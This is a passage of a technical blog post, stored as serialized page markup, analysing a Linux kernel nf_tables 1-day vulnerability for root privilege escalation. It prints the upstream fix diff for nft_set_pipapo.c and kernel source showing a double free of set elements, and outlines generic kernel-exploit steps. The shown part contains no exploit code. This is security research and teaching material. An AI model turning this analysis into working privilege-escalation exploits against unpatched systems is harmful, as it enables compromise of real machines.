etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":24,"tag":2510,"props":50293,"children":50295},{"alt":2512,"src":50294},"/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":24,"tag":25,"props":50297,"children":50298},{},[50299],{"type":29,"value":50300},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":24,"tag":1818,"props":50302,"children":50304},{"id":50303},"kernel-exploitation",[50305],{"type":29,"value":50306},"Kernel exploitation",{"type":24,"tag":25,"props":50308,"children":50309},{},[50310],{"type":29,"value":50311},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":24,"tag":16422,"props":50313,"children":50314},{},[50315,50320,50325],{"type":24,"tag":67,"props":50316,"children":50317},{},[50318],{"type":29,"value":50319},"Trigger some memory corruption in some kernel subsystem",{"type":24,"tag":67,"props":50321,"children":50322},{},[50323],{"type":29,"value":50324},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":24,"tag":67,"props":50326,"children":50327},{},[50328],{"type":29,"value":50329},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":24,"tag":25,"props":50331,"children":50332},{},[50333,50335,50342],{"type":29,"value":50334},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":24,"tag":2033,"props":50336,"children":50339},{"href":50337,"rel":50338},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[2037],[50340],{"type":29,"value":50341},"blog post",{"type":29,"value":50343}," to become more familiar with the topic.",{"type":24,"tag":51,"props":50345,"children":50347},{"id":50346},"nf_tables",[50348],{"type":24,"tag":32,"props":50349,"children":50351},{"className":50350},[],[50352],{"type":29,"value":50346},{"type":24,"tag":25,"props":50354,"children":50355},{},[50356,50361,50363,50369,50370,50376,50378,50384],{"type":24,"tag":32,"props":50357,"children":50359},{"className":50358},[],[50360],{"type":29,"value":50346},{"type":29,"value":50362}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":24,"tag":2033,"props":50364,"children":50367},{"href":50365,"rel":50366},"https://pwning.tech/nftables",[2037],[50368],{"type":29,"value":3756},{"type":29,"value":568},{"type":24,"tag":2033,"props":50371,"children":50374},{"href":50372,"rel":50373},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[2037],[50375],{"type":29,"value":2867},{"type":29,"value":50377},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":24,"tag":32,"props":50379,"children":50381},{"className":50380},[],[50382],{"type":29,"value":50383},"nf_table",{"type":29,"value":50385}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":24,"tag":25,"props":50387,"children":50388},{},[50389],{"type":29,"value":50390},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":24,"tag":1818,"props":50392,"children":50394},{"id":50393},"transactions",[50395],{"type":29,"value":50396},"Transactions",{"type":24,"tag":25,"props":50398,"children":50399},{},[50400,50402,50407,50409,50414],{"type":29,"value":50401},"A transaction is an interaction that updates ",{"type":24,"tag":32,"props":50403,"children":50405},{"className":50404},[],[50406],{"type":29,"value":50346},{"type":29,"value":50408}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":24,"tag":32,"props":50410,"children":50412},{"className":50411},[],[50413],{"type":29,"value":50346},{"type":29,"value":50415}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":24,"tag":16422,"props":50417,"children":50418},{},[50419,50429,50439],{"type":24,"tag":67,"props":50420,"children":50421},{},[50422,50427],{"type":24,"tag":2040,"props":50423,"children":50424},{},[50425],{"type":29,"value":50426},"Control plane",{"type":29,"value":50428},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":24,"tag":67,"props":50430,"children":50431},{},[50432,50437],{"type":24,"tag":2040,"props":50433,"children":50434},{},[50435],{"type":29,"value":50436},"Commit path",{"type":29,"value":50438},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":24,"tag":67,"props":50440,"children":50441},{},[50442,50447],{"type":24,"tag":2040,"props":50443,"children":50444},{},[50445],{"type":29,"value":50446},"Abort path",{"type":29,"value":50448},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":24,"tag":51,"props":50450,"children":50452},{"id":50451},"vulnerability-details",[50453],{"type":29,"value":50454},"Vulnerability details",{"type":24,"tag":25,"props":50456,"children":50457},{},[50458,50460,50466],{"type":29,"value":50459},"Moving on, let's check out the ",{"type":24,"tag":2033,"props":50461,"children":50464},{"href":50462,"rel":50463},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[2037],[50465],{"type":29,"value":3970},{"type":29,"value":50467}," that fixed the bug.",{"type":24,"tag":73,"props":50469,"children":50471},{"className":40076,"code":50470,"language":40078,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[50472],{"type":24,"tag":32,"props":50473,"children":50474},{"__ignoreMap":7},[50475,50483,50491,50499,50507,50515,50522,50530,50537,50545,50553,50561,50569,50577,50585,50593,50601,50609,50617,50625,50632,50640,50648,50656,50663,50670],{"type":24,"tag":83,"props":50476,"children":50477},{"class":85,"line":86},[50478],{"type":24,"tag":83,"props":50479,"children":50480},{"style":90},[50481],{"type":29,"value":50482},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":83,"props":50484,"children":50485},{"class":85,"line":113},[50486],{"type":24,"tag":83,"props":50487,"children":50488},{"style":107},[50489],{"type":29,"value":50490},"index c0ceea068936a6..df8de509024637 100644\n",{"type":24,"tag":83,"props":50492,"children":50493},{"class":85,"line":128},[50494],{"type":24,"tag":83,"props":50495,"children":50496},{"style":90},[50497],{"type":29,"value":50498},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":83,"props":50500,"children":50501},{"class":85,"line":183},[50502],{"type":24,"tag":83,"props":50503,"children":50504},{"style":90},[50505],{"type":29,"value":50506},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":24,"tag":83,"props":50508,"children":50509},{"class":85,"line":203},[50510],{"type":24,"tag":83,"props":50511,"children":50512},{"style":107},[50513],{"type":29,"value":50514},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":83,"props":50516,"children":50517},{"class":85,"line":212},[50518],{"type":24,"tag":83,"props":50519,"children":50520},{"emptyLinePlaceholder":16},[50521],{"type":29,"value":3422},{"type":24,"tag":83,"props":50523,"children":50524},{"class":85,"line":256},[50525],{"type":24,"tag":83,"props":50526,"children":50527},{"style":107},[50528],{"type":29,"value":50529},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":24,"tag":83,"props":50531,"children":50532},{"class":85,"line":270},[50533],{"type":24,"tag":83,"props":50534,"children":50535},{"emptyLinePlaceholder":16},[50536],{"type":29,"value":3422},{"type":24,"tag":83,"props":50538,"children":50539},{"class":85,"line":302},[50540],{"type":24,"tag":83,"props":50541,"children":50542},{"style":107},[50543],{"type":29,"value":50544},"  if (m) {\n",{"type":24,"tag":83,"props":50546,"children":50547},{"class":85,"line":324},[50548],{"type":24,"tag":83,"props":50549,"children":50550},{"style":107},[50551],{"type":29,"value":50552},"   rcu_barrier();\n",{"type":24,"tag":83,"props":50554,"children":50555},{"class":85,"line":345},[50556],{"type":24,"tag":83,"props":50557,"children":50558},{"style":107},[50559],{"type":29,"value":50560}," \n",{"type":24,"tag":83,"props":50562,"children":50563},{"class":85,"line":358},[50564],{"type":24,"tag":83,"props":50565,"children":50566},{"style":187},[50567],{"type":29,"value":50568},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":83,"props":50570,"children":50571},{"class":85,"line":367},[50572],{"type":24,"tag":83,"props":50573,"children":50574},{"style":187},[50575],{"type":29,"value":50576},"-\n",{"type":24,"tag":83,"props":50578,"children":50579},{"class":85,"line":406},[50580],{"type":24,"tag":83,"props":50581,"children":50582},{"style":107},[50583],{"type":29,"value":50584},"   for_each_possible_cpu(cpu)\n",{"type":24,"tag":83,"props":50586,"children":50587},{"class":85,"line":427},[50588],{"type":24,"tag":83,"props":50589,"children":50590},{"style":107},[50591],{"type":29,"value":50592},"    pipapo_free_scratch(m, cpu);\n",{"type":24,"tag":83,"props":50594,"children":50595},{"class":85,"line":440},[50596],{"type":24,"tag":83,"props":50597,"children":50598},{"style":107},[50599],{"type":29,"value":50600},"   free_percpu(m->scratch);\n",{"type":24,"tag":83,"props":50602,"children":50603},{"class":85,"line":449},[50604],{"type":24,"tag":83,"props":50605,"children":50606},{"style":107},[50607],{"type":29,"value":50608},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":24,"tag":83,"props":50610,"children":50611},{"class":85,"line":458},[50612],{"type":24,"tag":83,"props":50613,"children":50614},{"style":107},[50615],{"type":29,"value":50616},"  if (priv->clone) {\n",{"type":24,"tag":83,"props":50618,"children":50619},{"class":85,"line":1065},[50620],{"type":24,"tag":83,"props":50621,"children":50622},{"style":107},[50623],{"type":29,"value":50624},"   m = priv->clone;\n",{"type":24,"tag":83,"props":50626,"children":50627},{"class":85,"line":1668},[50628],{"type":24,"tag":83,"props":50629,"children":50630},{"style":107},[50631],{"type":29,"value":50560},{"type":24,"tag":83,"props":50633,"children":50634},{"class":85,"line":1713},[50635],{"type":24,"tag":83,"props":50636,"children":50637},{"style":187},[50638],{"type":29,"value":50639},"-  if (priv->dirty)\n",{"type":24,"tag":83,"props":50641,"children":50642},{"class":85,"line":1730},[50643],{"type":24,"tag":83,"props":50644,"children":50645},{"style":187},[50646],{"type":29,"value":50647},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":83,"props":50649,"children":50650},{"class":85,"line":1770},[50651],{"type":24,"tag":83,"props":50652,"children":50653},{"style":245},[50654],{"type":29,"value":50655},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":24,"tag":83,"props":50657,"children":50658},{"class":85,"line":1778},[50659],{"type":24,"tag":83,"props":50660,"children":50661},{"style":107},[50662],{"type":29,"value":50560},{"type":24,"tag":83,"props":50664,"children":50665},{"class":85,"line":1803},[50666],{"type":24,"tag":83,"props":50667,"children":50668},{"style":107},[50669],{"type":29,"value":50584},{"type":24,"tag":83,"props":50671,"children":50672},{"class":85,"line":1811},[50673],{"type":24,"tag":83,"props":50674,"children":50675},{"style":107},[50676],{"type":29,"value":50677},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":24,"tag":25,"props":50679,"children":50680},{},[50681,50683,50689,50690,50696,50698,50704,50706,50712,50714,50719,50721,50727,50729,50735,50737,50743],{"type":29,"value":50682},"If the ",{"type":24,"tag":32,"props":50684,"children":50686},{"className":50685},[],[50687],{"type":29,"value":50688},"priv->dirty",{"type":29,"value":2287},{"type":24,"tag":32,"props":50691,"children":50693},{"className":50692},[],[50694],{"type":29,"value":50695},"priv->clone",{"type":29,"value":50697}," variables are set, ",{"type":24,"tag":32,"props":50699,"children":50701},{"className":50700},[],[50702],{"type":29,"value":50703},"nft_set_pipapo_match_destroy()",{"type":29,"value":50705}," is called twice, once with ",{"type":24,"tag":32,"props":50707,"children":50709},{"className":50708},[],[50710],{"type":29,"value":50711},"priv->match",{"type":29,"value":50713}," as an argument, and then again with ",{"type":24,"tag":32,"props":50715,"children":50717},{"className":50716},[],[50718],{"type":29,"value":50695},{"type":29,"value":50720},". Looking at what this function does, we can see that it is iterating over the ",{"type":24,"tag":32,"props":50722,"children":50724},{"className":50723},[],[50725],{"type":29,"value":50726},"setelem",{"type":29,"value":50728},"s of the ",{"type":24,"tag":32,"props":50730,"children":50732},{"className":50731},[],[50733],{"type":29,"value":50734},"set",{"type":29,"value":50736}," and calling ",{"type":24,"tag":32,"props":50738,"children":50740},{"className":50739},[],[50741],{"type":29,"value":50742},"nf_tables_set_elem_destroy()",{"type":29,"value":50744}," for each of them.",{"type":24,"tag":73,"props":50746,"children":50748},{"className":16250,"code":50747,"language":2891,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[50749],{"type":24,"tag":32,"props":50750,"children":50751},{"__ignoreMap":7},[50752,50799,50827,50853,50860,50881,50894,50901,50998,51006,51013,51068,51089,51096,51199,51211,51218,51254,51261,51295,51302],{"type":24,"tag":83,"props":50753,"children":50754},{"class":85,"line":86},[50755,50760,50765,50770,50774,50778,50782,50787,50791,50795],{"type":24,"tag":83,"props":50756,"children":50757},{"style":90},[50758],{"type":29,"value":50759},"static",{"type":24,"tag":83,"props":50761,"children":50762},{"style":90},[50763],{"type":29,"value":50764}," void",{"type":24,"tag":83,"props":50766,"children":50767},{"style":101},[50768],{"type":29,"value":50769}," nft_set_pipapo_match_destroy",{"type":24,"tag":83,"props":50771,"children":50772},{"style":107},[50773],{"type":29,"value":558},{"type":24,"tag":83,"props":50775,"children":50776},{"style":90},[50777],{"type":29,"value":9401},{"type":24,"tag":83,"props":50779,"children":50780},{"style":90},[50781],{"type":29,"value":20891},{"type":24,"tag":83,"props":50783,"children":50784},{"style":107},[50785],{"type":29,"value":50786}," nft_ctx ",{"type":24,"tag":83,"props":50788,"children":50789},{"style":143},[50790],{"type":29,"value":4315},{"type":24,"tag":83,"props":50792,"children":50793},{"style":137},[50794],{"type":29,"value":20021},{"type":24,"tag":83,"props":50796,"children":50797},{"style":107},[50798],{"type":29,"value":989},{"type":24,"tag":83,"props":50800,"children":50801},{"class":85,"line":113},[50802,50806,50810,50815,50819,50823],{"type":24,"tag":83,"props":50803,"children":50804},{"style":90},[50805],{"type":29,"value":1587},{"type":24,"tag":83,"props":50807,"children":50808},{"style":90},[50809],{"type":29,"value":20891},{"type":24,"tag":83,"props":50811,"children":50812},{"style":107},[50813],{"type":29,"value":50814}," nft_set ",{"type":24,"tag":83,"props":50816,"children":50817},{"style":143},[50818],{"type":29,"value":4315},{"type":24,"tag":83,"props":50820,"children":50821},{"style":137},[50822],{"type":29,"value":50734},{"type":24,"tag":83,"props":50824,"children":50825},{"style":107},[50826],{"type":29,"value":989},{"type":24,"tag":83,"props":50828,"children":50829},{"class":85,"line":128},[50830,50835,50840,50844,50849],{"type":24,"tag":83,"props":50831,"children":50832},{"style":90},[50833],{"type":29,"value":50834},"      struct",{"type":24,"tag":83,"props":50836,"children":50837},{"style":107},[50838],{"type":29,"value":50839}," nft_pipapo_match ",{"type":24,"tag":83,"props":50841,"children":50842},{"style":143},[50843],{"type":29,"value":4315},{"type":24,"tag":83,"props":50845,"children":50846},{"style":137},[50847],{"type":29,"value":50848},"m",{"type":24,"tag":83,"props":50850,"children":50851},{"style":107},[50852],{"type":29,"value":2905},{"type":24,"tag":83,"props":50854,"children":50855},{"class":85,"line":183},[50856],{"type":24,"tag":83,"props":50857,"children":50858},{"style":107},[50859],{"type":29,"value":10628},{"type":24,"tag":83,"props":50861,"children":50862},{"class":85,"line":203},[50863,50867,50872,50876],{"type":24,"tag":83,"props":50864,"children":50865},{"style":90},[50866],{"type":29,"value":20891},{"type":24,"tag":83,"props":50868,"children":50869},{"style":107},[50870],{"type":29,"value":50871}," nft_pipapo_field ",{"type":24,"tag":83,"props":50873,"children":50874},{"style":143},[50875],{"type":29,"value":4315},{"type":24,"tag":83,"props":50877,"children":50878},{"style":107},[50879],{"type":29,"value":50880},"f;\n",{"type":24,"tag":83,"props":50882,"children":50883},{"class":85,"line":212},[50884,50889],{"type":24,"tag":83,"props":50885,"children":50886},{"style":90},[50887],{"type":29,"value":50888}," int",{"type":24,"tag":83,"props":50890,"children":50891},{"style":107},[50892],{"type":29,"value":50893}," i, r;\n",{"type":24,"tag":83,"props":50895,"children":50896},{"class":85,"line":256},[50897],{"type":24,"tag":83,"props":50898,"children":50899},{"emptyLinePlaceholder":16},[50900],{"type":29,"value":3422},{"type":24,"tag":83,"props":50902,"children":50903},{"class":85,"line":270},[50904,50909,50914,50918,50922,50927,50931,50936,50940,50944,50949,50953,50957,50961,50966,50971,50975,50980,50985,50990,50994],{"type":24,"tag":83,"props":50905,"children":50906},{"style":117},[50907],{"type":29,"value":50908}," for",{"type":24,"tag":83,"props":50910,"children":50911},{"style":107},[50912],{"type":29,"value":50913}," (i ",{"type":24,"tag":83,"props":50915,"children":50916},{"style":143},[50917],{"type":29,"value":1275},{"type":24,"tag":83,"props":50919,"children":50920},{"style":245},[50921],{"type":29,"value":248},{"type":24,"tag":83,"props":50923,"children":50924},{"style":107},[50925],{"type":29,"value":50926},", f ",{"type":24,"tag":83,"props":50928,"children":50929},{"style":143},[50930],{"type":29,"value":1275},{"type":24,"tag":83,"props":50932,"children":50933},{"style":137},[50934],{"type":29,"value":50935}," m",{"type":24,"tag":83,"props":50937,"children":50938},{"style":107},[50939],{"type":29,"value":13502},{"type":24,"tag":83,"props":50941,"children":50942},{"style":137},[50943],{"type":29,"value":32824},{"type":24,"tag":83,"props":50945,"children":50946},{"style":107},[50947],{"type":29,"value":50948},"; i ",{"type":24,"tag":83,"props":50950,"children":50951},{"style":143},[50952],{"type":29,"value":5552},{"type":24,"tag":83,"props":50954,"children":50955},{"style":137},[50956],{"type":29,"value":50935},{"type":24,"tag":83,"props":50958,"children":50959},{"style":107},[50960],{"type":29,"value":13502},{"type":24,"tag":83,"props":50962,"children":50963},{"style":137},[50964],{"type":29,"value":50965},"field_count",{"type":24,"tag":83,"props":50967,"children":50968},{"style":143},[50969],{"type":29,"value":50970}," -",{"type":24,"tag":83,"props":50972,"children":50973},{"style":245},[50974],{"type":29,"value":295},{"type":24,"tag":83,"props":50976,"children":50977},{"style":107},[50978],{"type":29,"value":50979},"; i",{"type":24,"tag":83,"props":50981,"children":50982},{"style":143},[50983],{"type":29,"value":50984},"++",{"type":24,"tag":83,"props":50986,"children":50987},{"style":107},[50988],{"type":29,"value":50989},", f",{"type":24,"tag":83,"props":50991,"children":50992},{"style":143},[50993],{"type":29,"value":50984},{"type":24,"tag":83,"props":50995,"children":50996},{"style":107},[50997],{"type":29,"value":2905},{"type":24,"tag":83,"props":50999,"children":51000},{"class":85,"line":302},[51001],{"type":24,"tag":83,"props":51002,"children":51003},{"style":107},[51004],{"type":29,"value":51005},"  ;\n",{"type":24,"tag":83,"props":51007,"children":51008},{"class":85,"line":324},[51009],{"type":24,"tag":83,"props":51010,"children":51011},{"emptyLinePlaceholder":16},[51012],{"type":29,"value":3422},{"type":24,"tag":83,"props":51014,"children":51015},{"class":85,"line":345},[51016,51020,51025,51029,51033,51038,51042,51046,51050,51055,51060,51064],{"type":24,"tag":83,"props":51017,"children":51018},{"style":117},[51019],{"type":29,"value":50908},{"type":24,"tag":83,"props":51021,"children":51022},{"style":107},[51023],{"type":29,"value":51024}," (r ",{"type":24,"tag":83,"props":51026,"children":51027},{"style":143},[51028],{"type":29,"value":1275},{"type":24,"tag":83,"props":51030,"children":51031},{"style":245},[51032],{"type":29,"value":248},{"type":24,"tag":83,"props":51034,"children":51035},{"style":107},[51036],{"type":29,"value":51037},"; r ",{"type":24,"tag":83,"props":51039,"children":51040},{"style":143},[51041],{"type":29,"value":5552},{"type":24,"tag":83,"props":51043,"children":51044},{"style":137},[51045],{"type":29,"value":32710},{"type":24,"tag":83,"props":51047,"children":51048},{"style":107},[51049],{"type":29,"value":13502},{"type":24,"tag":83,"props":51051,"children":51052},{"style":137},[51053],{"type":29,"value":51054},"rules",{"type":24,"tag":83,"props":51056,"children":51057},{"style":107},[51058],{"type":29,"value":51059},"; r",{"type":24,"tag":83,"props":51061,"children":51062},{"style":143},[51063],{"type":29,"value":50984},{"type":24,"tag":83,"props":51065,"children":51066},{"style":107},[51067],{"type":29,"value":253},{"type":24,"tag":83,"props":51069,"children":51070},{"class":85,"line":358},[51071,51075,51080,51084],{"type":24,"tag":83,"props":51072,"children":51073},{"style":90},[51074],{"type":29,"value":5542},{"type":24,"tag":83,"props":51076,"children":51077},{"style":107},[51078],{"type":29,"value":51079}," nft_pipapo_elem ",{"type":24,"tag":83,"props":51081,"children":51082},{"style":143},[51083],{"type":29,"value":4315},{"type":24,"tag":83,"props":51085,"children":51086},{"style":107},[51087],{"type":29,"value":51088},"e;\n",{"type":24,"tag":83,"props":51090,"children":51091},{"class":85,"line":367},[51092],{"type":24,"tag":83,"props":51093,"children":51094},{"emptyLinePlaceholder":16},[51095],{"type":29,"value":3422},{"type":24,"tag":83,"props":51097,"children":51098},{"class":85,"line":406},[51099,51103,51107,51111,51115,51119,51123,51127,51131,51135,51139,51143,51148,51153,51157,51161,51165,51170,51174,51178,51182,51186,51191,51195],{"type":24,"tag":83,"props":51100,"children":51101},{"style":117},[51102],{"type":29,"value":672},{"type":24,"tag":83,"props":51104,"children":51105},{"style":107},[51106],{"type":29,"value":51024},{"type":24,"tag":83,"props":51108,"children":51109},{"style":143},[51110],{"type":29,"value":5552},{"type":24,"tag":83,"props":51112,"children":51113},{"style":137},[51114],{"type":29,"value":32710},{"type":24,"tag":83,"props":51116,"children":51117},{"style":107},[51118],{"type":29,"value":13502},{"type":24,"tag":83,"props":51120,"children":51121},{"style":137},[51122],{"type":29,"value":51054},{"type":24,"tag":83,"props":51124,"children":51125},{"style":143},[51126],{"type":29,"value":50970},{"type":24,"tag":83,"props":51128,"children":51129},{"style":245},[51130],{"type":29,"value":295},{"type":24,"tag":83,"props":51132,"children":51133},{"style":143},[51134],{"type":29,"value":1126},{"type":24,"tag":83,"props":51136,"children":51137},{"style":137},[51138],{"type":29,"value":32710},{"type":24,"tag":83,"props":51140,"children":51141},{"style":107},[51142],{"type":29,"value":13502},{"type":24,"tag":83,"props":51144,"children":51145},{"style":137},[51146],{"type":29,"value":51147},"mt",{"type":24,"tag":83,"props":51149,"children":51150},{"style":107},[51151],{"type":29,"value":51152},"[r ",{"type":24,"tag":83,"props":51154,"children":51155},{"style":143},[51156],{"type":29,"value":4126},{"type":24,"tag":83,"props":51158,"children":51159},{"style":245},[51160],{"type":29,"value":295},{"type":24,"tag":83,"props":51162,"children":51163},{"style":107},[51164],{"type":29,"value":1657},{"type":24,"tag":83,"props":51166,"children":51167},{"style":137},[51168],{"type":29,"value":51169},"e",{"type":24,"tag":83,"props":51171,"children":51172},{"style":143},[51173],{"type":29,"value":3028},{"type":24,"tag":83,"props":51175,"children":51176},{"style":137},[51177],{"type":29,"value":32710},{"type":24,"tag":83,"props":51179,"children":51180},{"style":107},[51181],{"type":29,"value":13502},{"type":24,"tag":83,"props":51183,"children":51184},{"style":137},[51185],{"type":29,"value":51147},{"type":24,"tag":83,"props":51187,"children":51188},{"style":107},[51189],{"type":29,"value":51190},"[r].",{"type":24,"tag":83,"props":51192,"children":51193},{"style":137},[51194],{"type":29,"value":51169},{"type":24,"tag":83,"props":51196,"children":51197},{"style":107},[51198],{"type":29,"value":2905},{"type":24,"tag":83,"props":51200,"children":51201},{"class":85,"line":427},[51202,51207],{"type":24,"tag":83,"props":51203,"children":51204},{"style":117},[51205],{"type":29,"value":51206},"   continue",{"type":24,"tag":83,"props":51208,"children":51209},{"style":107},[51210],{"type":29,"value":321},{"type":24,"tag":83,"props":51212,"children":51213},{"class":85,"line":440},[51214],{"type":24,"tag":83,"props":51215,"children":51216},{"emptyLinePlaceholder":16},[51217],{"type":29,"value":3422},{"type":24,"tag":83,"props":51219,"children":51220},{"class":85,"line":449},[51221,51226,51230,51234,51238,51242,51246,51250],{"type":24,"tag":83,"props":51222,"children":51223},{"style":107},[51224],{"type":29,"value":51225},"  e ",{"type":24,"tag":83,"props":51227,"children":51228},{"style":143},[51229],{"type":29,"value":1275},{"type":24,"tag":83,"props":51231,"children":51232},{"style":137},[51233],{"type":29,"value":32710},{"type":24,"tag":83,"props":51235,"children":51236},{"style":107},[51237],{"type":29,"value":13502},{"type":24,"tag":83,"props":51239,"children":51240},{"style":137},[51241],{"type":29,"value":51147},{"type":24,"tag":83,"props":51243,"children":51244},{"style":107},[51245],{"type":29,"value":51190},{"type":24,"tag":83,"props":51247,"children":51248},{"style":137},[51249],{"type":29,"value":51169},{"type":24,"tag":83,"props":51251,"children":51252},{"style":107},[51253],{"type":29,"value":321},{"type":24,"tag":83,"props":51255,"children":51256},{"class":85,"line":458},[51257],{"type":24,"tag":83,"props":51258,"children":51259},{"emptyLinePlaceholder":16},[51260],{"type":29,"value":3422},{"type":24,"tag":83,"props":51262,"children":51263},{"class":85,"line":1065},[51264,51269,51274,51278,51282,51286,51291],{"type":24,"tag":83,"props":51265,"children":51266},{"style":101},[51267],{"type":29,"value":51268},"  nf_tables_set_elem_destroy",{"type":24,"tag":83,"props":51270,"children":51271},{"style":107},[51272],{"type":29,"value":51273},"(ctx, set, ",{"type":24,"tag":83,"props":51275,"children":51276},{"style":143},[51277],{"type":29,"value":2853},{"type":24,"tag":83,"props":51279,"children":51280},{"style":137},[51281],{"type":29,"value":51169},{"type":24,"tag":83,"props":51283,"children":51284},{"style":107},[51285],{"type":29,"value":13502},{"type":24,"tag":83,"props":51287,"children":51288},{"style":137},[51289],{"type":29,"value":51290},"priv",{"type":24,"tag":83,"props":51292,"children":51293},{"style":107},[51294],{"type":29,"value":581},{"type":24,"tag":83,"props":51296,"children":51297},{"class":85,"line":1668},[51298],{"type":24,"tag":83,"props":51299,"children":51300},{"style":107},[51301],{"type":29,"value":9342},{"type":24,"tag":83,"props":51303,"children":51304},{"class":85,"line":1713},[51305],{"type":24,"tag":83,"props":51306,"children":51307},{"style":107},[51308],{"type":29,"value":464},{"type":24,"tag":25,"props":51310,"children":51311},{},[51312,51314,51320,51322,51327],{"type":29,"value":51313},"Which will then ",{"type":24,"tag":32,"props":51315,"children":51317},{"className":51316},[],[51318],{"type":29,"value":51319},"kfree()",{"type":29,"value":51321}," the ",{"type":24,"tag":32,"props":51323,"children":51325},{"className":51324},[],[51326],{"type":29,"value":50726},{"type":29,"value":161},{"type":24,"tag":73,"props":51329,"children":51331},{"className":16250,"code":51330,"language":2891,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n    const struct nft_set *set,\n    const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n  nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[51332],{"type":24,"tag":32,"props":51333,"children":51334},{"__ignoreMap":7},[51335,51376,51403,51432,51439,51474,51481,51502,51525,51532,51545],{"type":24,"tag":83,"props":51336,"children":51337},{"class":85,"line":86},[51338,51343,51348,51352,51356,51360,51364,51368,51372],{"type":24,"tag":83,"props":51339,"children":51340},{"style":90},[51341],{"type":29,"value":51342},"void",{"type":24,"tag":83,"props":51344,"children":51345},{"style":101},[51346],{"type":29,"value":51347}," nf_tables_set_elem_destroy",{"type":24,"tag":83,"props":51349,"children":51350},{"style":107},[51351],{"type":29,"value":558},{"type":24,"tag":83,"props":51353,"children":51354},{"style":90},[51355],{"type":29,"value":9401},{"type":24,"tag":83,"props":51357,"children":51358},{"style":90},[51359],{"type":29,"value":20891},{"type":24,"tag":83,"props":51361,"children":51362},{"style":107},[51363],{"type":29,"value":50786},{"type":24,"tag":83,"props":51365,"children":51366},{"style":143},[51367],{"type":29,"value":4315},{"type":24,"tag":83,"props":51369,"children":51370},{"style":137},[51371],{"type":29,"value":20021},{"type":24,"tag":83,"props":51373,"children":51374},{"style":107},[51375],{"type":29,"value":989},{"type":24,"tag":83,"props":51377,"children":51378},{"class":85,"line":113},[51379,51383,51387,51391,51395,51399],{"type":24,"tag":83,"props":51380,"children":51381},{"style":90},[51382],{"type":29,"value":134},{"type":24,"tag":83,"props":51384,"children":51385},{"style":90},[51386],{"type":29,"value":20891},{"type":24,"tag":83,"props":51388,"children":51389},{"style":107},[51390],{"type":29,"value":50814